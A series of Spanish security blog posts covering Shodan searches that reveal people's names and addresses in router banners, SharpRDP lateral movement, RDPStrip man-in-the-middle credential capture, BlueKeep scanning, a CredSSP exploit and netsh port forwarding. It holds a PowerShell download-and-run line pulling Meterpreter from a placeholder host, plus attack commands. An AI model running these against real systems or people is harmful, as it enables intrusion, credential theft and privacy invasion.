OSINT: Localizar personas con Shodan usando "Banner Grabbing"

A estas alturas del año suelo, como tanta gente, echar la vista atrás y pensar en cuanto viví en los últimos doce meses. Pero esta vez las circunstancias me han obligado a reflexionar sobre lo que la ciberseguridad me ha dado desde que, allá por 2008, Chema Alonso y yo escribimos aquel artículo sobre “Metadatos en Microsoft Office” e iniciamos un camino que nos llevaría a concebir herramientas como FOCA o Metashield Protector.

Figura 1: OSINT - Localizar personas con Shodan usando "Banner Grabbing".

Imagen hecha con Dall-e 2 (A happy hacker in Picasso style)

A mi cabeza han acudido recuerdos de la Black Hat y la gente con la que la compartimos. De tardes enteras que pasaron como un soplo mientras yo trataba de terminar el libro de "Hacking con Buscadores: Google, Bing & Shodan + Robtex". De charlas. De la fascinación que experimenté mientras descubría cosas nuevas (nuevas, al menos, para mí). De las ganas de transmitir aquello que estaba viendo.

Figura 2: Enrique Rando y Chema Alonso en la Open Source World Conference 2008

presentando OOMetaExtractor para analizar metadatos de OpenOffice.

No sé por qué. Pero me quedé un rato pensando en un par de debates organizados por Yolanda Corral en su programa “Palabra de hacker” en los que participé. Uno era sobre “OSINT y hacking con buscadores” y allí me encontré con Vicente Aguilera, Rafael Otal, Miguel Ángel Cotanilla y John Jairo Fernández. El otro se titulaba “¿Qué es Shodan? El buscador, al descubierto” y en él compartí un rato con Eduardo Sánchez, Jorge Coronado y Miguel Ángel Arroyo. 

Figura 3: Libro de "Hacking con Buscadores: Google, Bing & Shodan + Robtex"

de Enrique Rando, publicado en 0xWord.

No sé en cuál de los dos nos preguntó Yolanda  qué era lo que más nos había sorprendido encontrar. Lo que sí recuerdo fue mi respuesta: localizar personas en Shodan. Bueno, personas, en realidad, no, pero sí sus nombres y apellidos y, en algunos casos, su dirección. Y es que los servicios técnicos de algunas operadoras ponían por entonces esa información en los "banners" de varios de los servicios de los routers de sus clientes. Supongo que para asegurarse de que no se conectaban al equipo equivocado.

Localizar personas con "Banner Grabbing"  

Hoy en día esos resultados son mucho menos frecuentes. Quizá porque se configure mejor los servicios. Quizá porque se expongan menos. Pero aún es posible encontrar algunos. Por ejemplo, en las cabeceras del protocolo FTP.

Figura 4: Servicio FTP (¡FTP!) con el nombre y la dirección

de una persona en su banner

… o en los mensajes que se muestran al pedir credenciales de acceso:

Figura 5: Autenticación para la administración que identifica al cliente

Pensándolo bien, esta reducción el número de resultados quizá se deba a que la tecnología ha evolucionado y ya no es habitual conectarse al router mediante FTP o Telnet. Si esta es la razón… ¡tenemos un problema! Porque la tecnología cambia rápidamente, pero las personas no. Y posiblemente terminemos cometiendo viejos errores con nuevas herramientas.

Figura 6: Hacking Web Applications: Client-Side Attacks
de Enrique Rando, publicado en 0xWord.

Por ejemplo, muchas organizaciones publicaron en Internet servicios de Escritorio Remoto cuando la pandemia de COVID-19 nos obligó a confinarnos y se produjo aquel boom del teletrabajo. Pantallas de inicio de sesión comenzaron a ser recogidas por Shodan y más de una mostraban la plantilla completa de un centro de trabajo o una organización:

Figura 7: Todos los compis de la oficina tienen cuenta en este equipo.

Y Shodan lo sabe.

Y, volviendo a los servicios técnicos de algunas operadoras, si aún siguen necesitando tener seguridad de que no tocan el equipamiento equivocado o la línea de una persona distinta de la que tienen al teléfono, no será raro que haya quien solucione el problema a la antigua usanza.

Figura 8: Open Source INTelligence (OSINT): Investigar personas e Identidades en Internet 2ª Edición de 0xWord, escrito por Vicente Aguilera y Carlos Seisdedos

 
Pero parece que con el equipamiento actual es mejor hacerlo en otros puntos. Quizá en la configuración de la conexión punto a punto sobre Ethernet (PPPOE) de la operadora con cada cliente, donde es posible realizar de forma sencilla una gestión centralizada del enlace. Así que… ¿por qué no hacer en Shodan una búsqueda del tipo “pppoe garcia” o “pppoe juan”?

Figura 9: No sé por qué, pero separan los apellidos del nombre con una arroba @

En definitiva: como siempre, lo de siempre. Y esta es solo la parte que Shodan ve. No os robo más tiempo por hoy. Quizá otro día haya ocasión de hablar de los sistemas de vídeo-vigilancia que gestionan varias cámaras y etiquetan cada una con el nombre de la calle que monitoriza...

PD: Aunque no sé cuándo se publicará, ni si se publicará, escribo esto el 31 de diciembre. Así que os deseo que en el nuevo año no haya un segundo que no viváis con ilusión por el siguiente. Que vuestros días se os hagan cortos porque estéis haciendo lo que os apasiona con la gente que queréis. Y que los meses os parezcan largos cuando recordéis vuestros logros.

Autor: Enrique Rando González.

Contactar con Enrique Rando

SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

El movimiento lateral es algo que siempre interesa a un pentester y a un equipo de Red Team. Los investigadores buscan nuevas técnicas y nuevas formas de hacerlo. Se puede estar al día en algunos recursos como el blog de SpecterOps o en iread.team. Pero sobretodo, lo más interesante es estudiar y poner en práctica en tu propio laboratorio, mirar qué ocurre por debajo, cómo funciona la técnica y cuáles son las detecciones y mitigaciones.

Figura 1: SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

Como dice el autor de SharpRDP, no es una nueva técnica lo que se va a mostrar aquí, pero si es otra forma de hacer movimiento lateral, y en este caso a través del uso del escritorio remoto o RDP (Remote Desktop Protocol). La idea que hay detrás de SharpRDP es llevar a cabo un movimiento lateral a través de un canal C2 (Command&Control) existente.

Figura 2: SharpRDP en GitHub

Esto es interesante pero, ¿cómo llevarlo a cabo? La explicación que da el investigador 0xthirteen, autor de la herramienta SharpRDP, que se puede descargar desde el Github de la aplicación, es magnífica, ya que se explica cómo utiliza una DLL (Dynamic-Linked Library)  del sistema para hacer la ejecución de comandos remotos a través de la autenticación en el sistema.

¿Cómo funciona?

El sistema operativo Microsoft Windows dispone de una DLL llamada mstscax.dll. Esta DLL da acceso a las acciones que se pueden realizar a través del RDP. Esta DLL es utilizada por, seguramente, casi todos los clientes de RDP. Por ejemplo, Remote Desktop Connection, que tantas veces se usa en el Hacking de Windows para atacar redes de sistemas Microsoft, hace uso de esta librería.

Figura 3: Hacking Windows "Ataques a sistemas y redes Microsoft"

Esta DLL en concreto es una biblioteca ActiveX COM para Terminal Services. Como dice 0xthirteen, esto puede ser utilizado para generar una pequeña aplicación de consola que lleve a cabo la ejecución de comandos remotos de forma autenticada a través del protocolo RDP sin que se tenga que ejecutar un cliente GUI o un Proxy SOCKS.

Figura 4: Ejecución de comandos sin GUI vía SharpRDP

El proyecto SharpRDP es una pequeña herramienta de consola .NET, la cual puede ser utilizada, y utilizaremos, para realizar este movimiento lateral. En la Figura 4, tienes la forma de usar la herramienta.

¿Tiene alguna limitación?

La verdad es que sí y no. Vamos a explicarlo. La herramienta puede utilizar credenciales en texto plano para su autenticación contra la máquina remota. Esto será algo más o menos normal o la situación normal. Puede ser que encontremos que el host remoto tenga activado el modo de administración restringido, el cual se puede visualizar en la siguiente ruta del registro y con la siguiente clave.

HKLM\System\CurrentControlSet\Control\Lsa 

DisableRestrictedAdmin = 0

Si esto es así, se podrá utilizar SharpRDP en el mismo contexto del usuario actual y no hará falta introducir credenciales en texto plano, y esta máquina será perfecta para movernos lateralmente por la empresa en un Ethical Hacking.

Figura 5: Manual de Ethical Hacking

Vamos a mostrar un ejemplo de la ejecución básica de SharpRDP. Se recomienda echar un ojo al "usage" de la herramienta, porque tiene varias opciones interesantes. Lo primero es utilizar la autenticación RDP desde la consola para ejecutar, por ejemplo, una calculadora sobre la máquina remota.

Figura 6: Petición de calc.exe vía SharpRDP

Como se puede ver en la siguiente imagen siguiente, se obtiene una calculadora. Si la sesión de usuario no está creada, se crea y se ejecuta el código. Si la sesión está creada, el usuario es expulsado de la sesión y se ejecuta el código.

Figura 7: Ejecución de calc.exe remoamente

Hay que decir que SharpRDP lo estamos ejecutando desde una máquina con Windows 10. Hay que indicar también que vemos la posibilidad sencilla de ejecutar instrucciones que nos devuelvan una sesión, por ejemplo, de Meterpreter de nuestro querido Metasploit o, ¿por qué no? una iBombshell remota.

Figura 8: Libro de Hacking con Metasploit: Advanced Pentesting
de Borja Merino y Pablo González

A continuación se puede visualizar la instrucción que queremos ejecutar en remoto: iex(new-object net.webclient).downloadstring(‘http://[ip]:[port]/’). Es decir, se ejecuta una consola Powershell y ésta genera un objeto de tipo net.webclient que se conectará una dirección y un puerto.

Figura 9: Ejecución remota de PowerShell descargando Meterpreter remotamente

¿Qué hay en esa dirección IP y ese puerto? Pues un Meterpreter que servimos con el módulo exploit/multi/script/web_delivery.

Figura 10: Meterpreter conseguido vía uso de movimiento lateral RDP

Tras unos segundos de tensión, se obtiene la sesión a través del módulo web_delivery de Metasploit para continuar con nuestro trabajo.

Otras situaciones que no maneja SharpRDP

Existen algunas excepciones que nos podemos encontrar con SharpRDP y que tampoco maneja bien, por ejemplo:

• Autenticación multifactorial: No se maneja la autenticación MFA, por lo que se desconectará SharpRDP. 

• Mover archivos: SharpRDP no tiene la posibilidad o capacidad de mover archivos sobre el protocolo RDP.

Una técnica interesante y una herramienta interesante, y bastante moderna como se puede ver en el Github, apenas tiene un mes. Una solución interesante para llevar en la mochila del pentester.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 11: Contactar con Pablo González

RDPStrip: Cómo atacar Remote Desktop Protocol en Windows. Nota: Activa Network Level Authentication a.s.a.p.!

Sabemos que estamos ante el año del RDP/RDS como elemento vulnerable y BlueKeep nos lo recuerda cada día, ante la amenaza de un nuevo EternalBlue. Pero BlueKeep no es la única amenaza a la que se enfrenta el RDP/RDS. Recuperando algunos ejemplos del pasado, que siguen siendo válidos hoy en día, vemos la herramienta Seth o el script RDPStrip.

Figura 1: RDPStrip: Cómo atacar Remote Desktop Protocol en Windows.
Nota: Activa Network Level Authentication a.s.a.p.!

Lo cierto es que Seth es una herramienta de hace un par de años y RDPStrip es un script de hace tres años. Sea como sea, la configuración del escritorio remoto en cualquier versión de Windows es fundamental para no poner en riesgo la privacidad de las comunicaciones de éstos, y si no se hace correctamente, es un elemento perfecto para tener en cuenta en el Hacking de redes y sistemas Windows.

Figura 2: Libro de Hacking Windows. Ataques a sistemas y redes Microsoft

Para resumir brevemente en qué consiste la técnica implementada en RDPStrip se puede decir que colocarse en medio de la comunicación es la base del ataque. Una vez que estamos en medio de la comunicación, y con la ayuda de iptables, se inyecta un certificado para poder visualizar la comunicación. Además, dependiendo del sistema operativo víctima, se puede forzar un downgrade. Este hecho es utilizado en la herramienta seth. Os dejo por aquí un interesante artículo del investigador Adrian Vollmer, en el que se ve que la configuración del RDP es fundamental para evitar el riesgo.

Figura 3: Artículo sobre "Attacking RDP"

Una de las cosas interesantes que se pueden ver en este artículo, aparte de la realización del ataque, es cómo implementarse un proxy sencillo para poder observar el tráfico RDP que pasará por nosotros. Además, si quieres conocer cómo funciona el protocolo RDP a bajo nivel, de nuevo recomiendo su lectura pausada. Viene con ejemplos e ilustrada de forma sencilla.

Figura 4: Implementación de proxy para capturar tráfico RDP

Ahora, voy a centrarme en el uso de RDPStrip. La herramienta tiene dos modos de ejecución: modo listener y el modo MiTM. En esta ocasión vamos a hacer hincapié en el modo MiTM. Además, RDPStrip automatiza el envenenamiento ARP y la configuración de iptables para la redirección del tráfico.

Figura 5: Remote Desktop Stripping and Sniffing

Si revisamos las opciones de la herramienta vemos algunas cosas importantes:

• La opción –m permite activar el modo MiTM. Automáticamente se creará la configuración de iptables y se activa el envenenamiento ARP y el forward. 

• La opción –f permite al atacante fijar la máquina destino u objetivo de la conexión RDP. 

• La opción –i indica la interfaz de red por la que se realizará el ataque. 

• La opción –c indica el certificado que podemos utilizar, si ya lo tenemos generado. 

• La opción –s permite mostrar los datos que van pasando, solo en modo sniffer.

Figura 6: Opciones de rdpstrip

Es muy importante entender en qué entorno o con qué configuración esto va a funcionar. NLA o Network Level Authentication es un mecanismo que protege la comunicación en conexiones RDP. Si ésta está activa, el ataque no funcionará, pero, si por el contrario, no está activo el ataque funcionará.

Figura 7: Network Level Authentication sin activar

El NLA apareció en Windows Vista y Windows Server 2008, precisamente para fortificar las conexiones RDP frente a los ataques de Redes IPv4/IPv6. NLA utiliza CredSSP o Credential Security Support Provider para llevar a cabo el proceso de autenticación fuerte. Utiliza TLS / SSL o Kerberos. Está hecho para proteger específicamente contra ataques de MiTM.

Figura 8: Libro de Ataques en Redes de datos IPv4&IPv6 [3ª Edición]

Lo que ocurre es que, si la configuración es la que vemos en la imagen anterior, podemos tener serios problemas con herramientas como Seth, RDPStrip, nuestras querida Evil FOCA para ataques IPv4 & IPv6 o, el viejo, pero funcional, Cain & Abel.

Lanzando el ataque MiTM para el RDP

Para entender mejor el escenario vamos a suponer las siguientes máquinas en juego, teniendo en cuenta que todas las máquinas están dentro de la misma red, aunque podría llegar a valernos con que una de las dos estuviera en nuestra misma red.

• Un Kali Linux con IP 10.0.0.31. 

• Un Windows 7 que hará de servidor con dirección IP 10.0.0.11. Además, está configurado con una configuración clásica de RDP. 

• Un Windows 7 que hará de cliente con dirección IP 10.0.0.3 que hará de cliente.

Para lanzar el ataque de MiTM y configurar iptables para las redirecciones se debe ejecutar la siguiente instrucción:

rdpstrip.py –m 10.0.0.3 –f 10.0.0.11 –i [interfaz de red]

La primera vez que ejecutamos la herramienta nos indicará que hay que generar un certificado, esto ocurrirá si no hemos importado un certificado generado previamente.

Figura 9: Socket is listening & Forwarding activado

En este instante la herramienta ha hecho el envenenamiento ARP y ha configurado el forward para que sea efectivo. Cuando el cliente comience la conexión RDP empezaremos a ver datos sobre nuestra pantalla. Incluso, podremos ver la información de inicio de sesión (proceso de login) en texto plano y capturar las pulsaciones de teclado que el usuario realice.

Figura 10: Visualizando las pulsaciones de teclado en conexión RDP

Como se puede ver en el siguiente vídeo, aparte del ataque y la captura de credenciales, se puede capturar las pulsaciones de teclado que realiza el usuario durante su sesión. Además, se obtiene una captura de red para que se pueda analizar con herramientas como Wireshark o similares y poder ver más cosas que no se pueden ver con la herramienta. Sin duda, algo realmente interesante.

Figura 11: PoC de RDPStrip para capturar tráfico RDP

Sin duda, una herramienta a conocer y a utilizar en un Ethical Hacking, ya que en muchas ocasiones se puede seguir encontrando configuraciones de RDP como la que se ha comentado en este artículo. No solo de Bluekeep vive el pentester.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

Un módulo para detectar el peligroso bug CVE-2019-0708 con Metasploit {No uses exploits públicos. Troll mode ON}

Cada cierto tiempo en el mundo de la seguridad se van viendo vulnerabilidades mediáticas que prometen ser unas de las vulnerabilidades del año por el impacto que tienen o que pueden tener entre la sociedad y las empresas. Podemos recordar ciertas vulnerabilidades como Heartbleed, una vulnerabilidad en el que algunos medios de comunicación tildaron del fin de Internet, ShellShock, una que tuvo un impacto real sobre Internet y que afecto a diferentes servicios y organizaciones o EternalBlue, una de las ‘wormables’ o ‘gusanables’ más temidas de los últimos años.

Figura 1: Un módulo para detectar el peligroso bug CVE-2019-0708 con Metasploit
{No uses exploits públicos. Troll mode ON}

Estas vulnerabilidades tan populares suelen ser una avalancha en las tecnologías afectadas, y nosotros tratamos algunas de ellas en detalle en nuestro libro de Hacking con Tecnologías Web donde se explica cómo localizarlas en servidores en empresas dentro de un proyecto de Ethical Hacking, y, en el caso de ShellSock y de EternalBlue preparamos un módulo para Metasploit.

Figura 2: Libro de Hacking de Tecnologías Web de 0xWord
donde se explica en detalle Heartbleed o Shellshock

En este año tenemos ya una candidata. El CVE-2019-0708 es una vulnerabilidad de las que llaman mediática, a pesar de no tener un nombre fuerte como las anteriores, por al sistema operativo y servicio que afecta. Según su expediente RDS, Remote Desktop Services, tiene una vulnerabilidad que permite la ejecución de código remoto. Esto puede suceder cuando un atacante no autenticado conecta con el servicio y envía una serie de peticiones que provocan la ejecución de código.

El base score del CVSS es 9.8 en su versión 3.0 y de 10 en la versión 2.0 del CVSS, lo que apunta ael nivel de  criticidad de la vulnerabilidad. Y como esto es lo que se puede leer en el expediente se han disparado todas las alarmas, cómo es lógico.

Las configuraciones o sistemas afectados o que se conocen que están afectados son Microsoft Windows 2008/R2 y Microsoft Windows 7, aunque no se descarta que haya algo más. Algo parecido en su día con Eternalblue. Me quedo con un tuit de mi compañero Sergio de los Santos en el que dice que no hay exploit público, a día de la fecha del propio tuit, pero que Github se estaba llenando de supuestos exploits que eran puro ‘troleo’ o quizá algo peor.

CVE-2019-0708, el fallo en RDS gusanable para el que han parcheado incluso XP y 2003 es muy jugoso... pero no, todavía no hay PoC ni exploit público disponible que se sepa. Aunque github se está llenando de supuestos exploits que son puro trolleo. No los ejecutéis por si acaso. pic.twitter.com/aP6FnWIRhz

— Sergio de los Santos (@ssantosv) May 15, 2019

Quise echar un ojo a lo que Sergio de los Santos indicaba, ya que me pareció ver algo por Exploit-db, aparte de los repositorios de Github. Cuando visité Exploit-db no había rastro del CVE-2019-0708. ¿Qué había pasado? Era extraño, pues juraría que había estado publicado un exploit allí.

Al buscar por Google encontré el enlace a Exploit-db que apuntaba al CVE-2019-0708. Al acceder al recurso me encontré el 404 de Exploit-db. Vale, parece que algo había y no está.

Figura 4: Recurso "not found" en Exploit-db

Tirando de la caché de Google pude ver que realmente había algo y que hubo algo. Utilizando la opción “En caché” puedes consultar lo que había entonces y era hora de verlo.

Figura 5: Web de Exploit-DB en Caché de Google

He de decir que al ver el exploit escrito en Python pensé puede que haya algo ya y hayan decidido por precaución hasta que los sistemas se actualicen. Pero fue algo que duró en mi cabeza poco. Recordando el mensaje de Sergio de los Santos pensé puede que hayan subido un exploit que realmente era un "fake".

Figura 6: Inicio del supuesto exploit de CVE-2019-0708

Sea como sea, el inicio del código del exploit es el que se puede ver en la imagen. El comienzo típico de este tipo de códigos. Lo dicho, sea como sea, el exploit público no está, aunque seguramente es cuestión de tiempo que pueda aparecer algo que no sea fake.

Figura 7: Hacking con Metasploit. Advanced Pentesting.

Lo que sí ha aparecido y la gente de Metasploit ha integrado ya en el framework es un módulo para detectar máquinas en una red que son vulnerables a esta vulnerabilidad. El módulo de Metasploit llamado BlueKeep Microsoft Remote Desktop RCE Check ha sido implementado por zerosum0x0 y JaGoTu. El módulo puede encontrarse, primero, en el repositorio de zerosum0x0 y, además, en el repositorio oficial de Metasploit. El módulo está clasificado como auxliary, dentro del apartado de los scanner. La ruta es auxliary/scanner/rdp.

Figura 8: Módulo para Metasploit de descubrimiento de CVE-2019-0708

Utilizando el comando use podemos acceder al módulo comentado anteriormente dentro de una versión de Metasploit actualizada. Mostrando las opciones del módulo se pueden ver los atributos a configurar que, en este caso y como suele ocurrir en el caso de los módulos auxiliary de tipo scanner, son pocos.

Figura 9: Opciones del módulo de descubrimiento

Tras configurar el atributo RHOSTS, el cual puede ser configurado con un rango de direcciones o una red se puede proceder a ejecutar el módulo. Si decidimos utilizar RHOSTS para escanear una red de equipos podríamos poner algo como set RHOSTS 10.0.0.0/24. Si, por el contrario, queremos configurar RHOSTS para solo una máquina debemos ejecutar set RHOSTS [Dirección IP]. Una vez todo está preparado ejecutamos el módulo con el comando run o exploit, es indiferente, ya que uno es el alias del otro.

Figura 10: Ejecución del módulo de descubrimiento

La salida del módulo nos dirá si la máquina o máquinas escaneadas son vulnerables. Como se ve en la imagen anterior, la máquina es vulnerable y debería ser actualizada lo antes posible.

Figura 11: Descubrimiento de máquinas vulnerables al CVE-2019-0708

Para ejemplificar el sencillo proceso de configuración para evaluar la existencia de la vulnerabilidad en una red, os dejamos un video corto explicativo. Si no has actualizado tu sistema Windows es hora de hacerlo y con carácter de urgencia.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

Patch or Die: CVE-2018-0886 Un RCE para Windows

Sin duda es una de las vulnerabilidades del mes en lo que a sistemas Microsoft se refiere. La vulnerabilidad CVE-2018-0886 permite a un potencial atacante ejecutar código remoto y explotar tanto RDP, el protocolo de escritorio remoto, como WinRM, protocolo para la administración remota de Windows. La vulnerabilidad no es trivial, pero ya existe una prueba de concepto publicada por la empresa Preempt.

Figura 1: Patch or Die: CVE-2018-0886 Un RCE para Windows

La vulnerabilidad de ejecución de código remota o RCE (Remote Code Execution) en el proveedor de credenciales de Windows, también conocido como CredSSP, supone que se pueda retransmitir las credenciales del usuario y utilizarlas para la ejecución de código en el sistema, tal y como explicó Microsoft en su boletín de seguridad.

Figura 2: CVE-2018-0886 en Security TechCenter de Microsoft

CredSSP es un proveedor de autenticación que gestiona las peticiones de autenticación para otras aplicaciones, por lo que, este hecho deja en mal situación a las aplicaciones que utilizar el proveedor. En Exploit-DB se encuentra una guía dónde también se puede encontrar un mirror dónde encontrar la PoC y la información para probarlo.

Figura 3: PoC en Exploit DB

Resumiendo la vulnerabilidad CVE-2018-0886

Microsoft indica que un atacante podría explotar la vulnerabilidad contra, por ejemplo, el escritorio remoto cuando el atacante realizase un esquema de Man in the Middle, típico en los ataques a redes IPv4 & IPv6, interceptando una sesión de RDP. El atacante, con el exploit público en forma de PoC, podría ejecutar código, instalar cualquier tipo de programa, eliminar datos, modificarlos, crear usuarios, etcétera. Al final es un RCE por lo que la criticidad es clara.

Figura 4: Esquema del ataque

El único hecho que puede hacer que disminuya, levemente, la criticidad es el hecho de la necesidad de realizar un Man in the Middle. La gente de Preempt ha publicado un artículo contando en profundidad en qué consiste la vulnerabilidad y cómo se puede llevar a cabo su explotación. Sin duda, un artículo muy interesante que se debe leer.

¿Qué debemos tener claro y qué está fallando?

Debemos crear un certificado digital, una clave pública y una clave privada. El proveedor CredSSP se encarga de retransmitir las credenciales del usuario, en el caso de la utilización del RDP. Es un protocolo sencillo. Los mensajes de Terminal Service denominados TSRequest se transfieren del cliente al servidor y al contrario.

Esos mensajes llevan tokens SPNEGO, que son utilizados para la fase de negociación del protocolo de autenticación. La negociación es transparente para el cliente/servidor que utiliza CredSSP. El protocolo es transmitido a través de la sesión segura, con TLS, que se estableció previamente. El cliente confía en la clave pública del servidor. Es más, cifra y firma bytes del servidor sin ser validada su identidad. Este hecho es la esencia de la vulnerabilidad.

Figura 5: Intercambio de paquetes

Para llevar a cabo su explotación, un atacante establece un servidor no autorizado y usará la clave pública como datos de la aplicación y como una clave RSA válida. Después, reenviará los datos de la aplicación cifrados y firmados al servidor real. Como se puede ver en la imagen del artículo de Preempt, el esquema no es complejo y la esencia de la vulnerabilidad es fácilmente detectable.

Utilizar gen_cmd.py

La primera parte del ataque consiste en generar el fichero PEM necesario para la interacción con el servidor remoto y cumplir con la parte teórica del ataque. Desde el Github se puede descargar.

Figura 6: GitHub con PoC

El uso de la herramienta es sencillo y con la opción –dump se pueden visualizar los detalles del proceso.

Figura 7: Uso de gen_cmd.py

Este proceso puede tardar un poco, debido al proceso con los números primos que es llevado a cabo.

Utilizar rdpy-rdpcredsspmitm.py

Esta herramienta se puede descargar desde un repositorio perteneciente también a Preempt. La herramienta tiene varios parámetros:

• -k. Esta opción marca la clave, tal y como se ve en la imagen. 

• -c. Indica el fichero PEM generado en el paso anterior con la herramienta gen_cmd.py.  

• -l. Si esta opción se indica, se puede configurar un puerto nuevo a la escucha. Si no se pone la opción –l, por defecto el puerto es el 3389, el del RDP. 

• Al final de la instrucción se indica la dirección IP del servidor al que se atacará y se obtendrá la ejecución de código remoto.

Figura 8: Uso de rdpy-rdpcredsspmitm.py

El paper completo de la vulnerabilidad puede leerse en este enlace. El cual os recomendamos que echéis un ojo, ya que permite hacerse una idea de la criticidad y de las posibilidades de explotación. También puedes ver el ataque en video, explicado por la gente de Preempt.


Figura 9: PoC CVE-2018-0886

Actualización disponible

Por último, hablar de la actualización liberada recientemente por Microsoft. No tardes en instalarlo, ya que la vulnerabilidad es crítica, tal y como se puede ver. Además, esta prueba de concepto ya está disponible, por lo que cualquiera puede llevar a cabo el ataque.

La actualización corrige la forma en la que CredSSP valida las solicitudes durante el proceso de autenticación. Estaremos atentos por si salen nuevas pruebas de concepto o algún módulo de Metasploit que simplifique un poco más el proceso.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Destripando PortProxy en Windows y en Metasploit

Hace unas semanas hablamos de diferentes técnicas para pivotar y hacer port-forwarding como eran: túneles SSH y port-fowarding o la utilización de Metasploit para simplificar el proceso del port-forwarding en el contexto de un proyecto de Ethical Hacking. Hoy quería hablaros de PortProxy o cómo hacer Port-Forwarding en equipos Windows. Un investigador español, y amigo personal, Borja Merino (@BorjaMerino), desarrolló en su día un módulo de post-explotación en Metasploit para llevar a cabo esta técnica de manera sencilla en equipos Windows.

Figura 1: Destripando PortProxy en Windows y en Metasploit

Antes de destripar el módulo de Borja y comentarlo, vamos a explicar brevemente el concepto y cómo podemos hacerlo manualmente. Desde Windows XP, en adelante, existe una característica en el sistema que permite crear ports forwarding. Es cierto que en Windows XP pueden existir problemas a la hora de configurarlo, por ejemplo, si no existe una configuración IPv6.

El comando que se utiliza para poder crear una regla de port-forwarding en Windows es el comando netsh. La sintaxis del comando es sencilla:

netsh interface portproxy add [tipo de forwarding] listenaddress=[dirección local] listenport=[puerto local a la escucha] connectaddress=[dirección destino del forward] connectport=[puerto destino del forward]

Ahora, vamos a explica, brevemente, que es cada parámetro de la sintaxis anterior:

• Listenaddress. Aquí indicaremos la dirección IP local dónde recibiremos la conexión. Generalmente, se podrá utilizar la dirección 0.0.0.0 para indicar que nos es indiferente la interfaz de red de la máquina por la que llegue la conexión.

• Listenport. Puerto local a la escucha.

• Connectaddress. Es una dirección IP o un nombre DNS al cual se realizará el forward desde esta máquina Windows.

• Connectport. Puerto TCP al que se realizará la conexión tras hacer el forward.

Ejemplificando el port-forwarding manual en Windows

Teniendo privilegios de administrador y utilizando la sintaxis comentada anteriormente, se puede configurar el port-forwarding en la máquina Windows. Como se puede ver en la imagen, se configura en el puerto 3333 de la máquina local una regla para hacer forwarding al puerto 3389 de la máquina con dirección IP 10.0.0.4. Antes de seguir vamos a exponer el escenario de la siguiente prueba:

• Máquina Kali Linux desde la que llevamos a cabo un posible ataque. La máquina Kali Linux solo tiene direccionamiento 192.168.0.X. 

• Máquina Windows 7 que será la máquina dónde se configure el PortProxy. La dirección IP de la máquina Windows 7 tiene direccionamiento 192.168.0.X y 10.0.0.X.

• Máquina Windows con direccionamiento 10.0.0.X. En este caso la dirección IP es 10.0.0.4.

Como se puede ver en la imagen se añade una regla v4tov4, es decir, el tráfico IP es v4 y el reenvío de tráfico sigue siendo v4. Además, se configura como listenaddress la 0.0.0.0, indicando que es indiferente la interfaz de red que reciba el tráfico en la máquina Windows 7, que se hará caso a lo que llegue al puerto configurado en listenport. Por último, indicar que connectaddress es la dirección IP de la máquina Windows con 10.0.0.4 y el connectport es 3389.

Figura 2: Configuración comando netsh

Resumiendo, cuando desde la máquina Windows 7 se haga una conexión a la dirección IP, por ejemplo, 127.0.0.1, aunque también valdría, por ejemplo, la 10.0.0.2 o cualquier interfaz de red configurada en dicha máquina, y al puerto 3333 se hará el forward a la máquina 10.0.0.4 al puerto 3389, tal y como se puede ver en la imagen siguiente.

Figura 3: Redirección al puerto RDP de la máquina

Lógicamente, hay que tener en cuenta las reglas del firewall, ya que alguna puede entorpecernos el trabajo. Para ello, se puede trabajar con netsh advfirewall y la posibilidad de crear reglas que permitan el paso del forwarding. Si queremos mostrar el listado de reglas de forwarding que tenemos en Windows tenemos la posibilidad de ejecutar netsh interface portproxy show all, tal y como se puede ver en la imagen.

Figura 4: Reglas de forwarding

Si queremos eliminar una regla podemos utilizar la siguiente sintaxis:

netsh interface portproxy delete v4tov4 listenport=[puerto que hayamos configurado] listenaddress=[dirección IP configurada]

Por otro lado, si se quiere eliminar todas las reglas de forwarding configuradas podemos ejecutar:

netsh interface portproxy reset

Jugando con el módulo PortProxy de Metasploit

El investigador en seguridad Borja Merino desarrolló el módulo post/windows/manage/PortProxy. Este módulo permite simplificar el proceso manual y cuyo código se encuentra dentro del framework de Metasploit.

El módulo presenta diferentes opciones, como se pueden ver en la imagen siguiente. Utilizando register_options se amplían los atributos básicos de un módulo, en este caso se introducen las opciones LOCAL_ADDRESS, CONNECT_ADDRESS, CONNECT_PORT, LOCAL_PORT, hasta aquí todo claro y, además, se añadir las opciones IPV6_XP y TYPE.

Figura 5: Opciones del módulo de portProxy

El método run, el cual implementa la llamada run o exploit dentro del módulo, tiene un cuerpo sencillo en el que destaca lo comentado anteriormente, si no se tienen privilegios en la máquina comprometida no se podrá ejecutar el módulo. Para ello está la función “is_admin?”, la cual nos propone intentar un getsystem en caso de no poder lanzar el módulo por no tener suficientes privilegios.

Una vez revisados los privilegios, se comprueba el sistema operativo en el que se está ejecutando el módulo. En caso de ser un sistema Windows XP hay que chequear si IPV6 está habilitado, ya que en caso contrario no se podrá hacer port-forwarding. En el caso de ser otro sistema Windows posterior a XP no habrá problemas y el módulo continúa su ejecución. Por último, se llama al método enable_portproxy y, posteriormente, si éste ha ido bien, se llama a fw_enable_ports.

Figura 6: Método run de portProxy

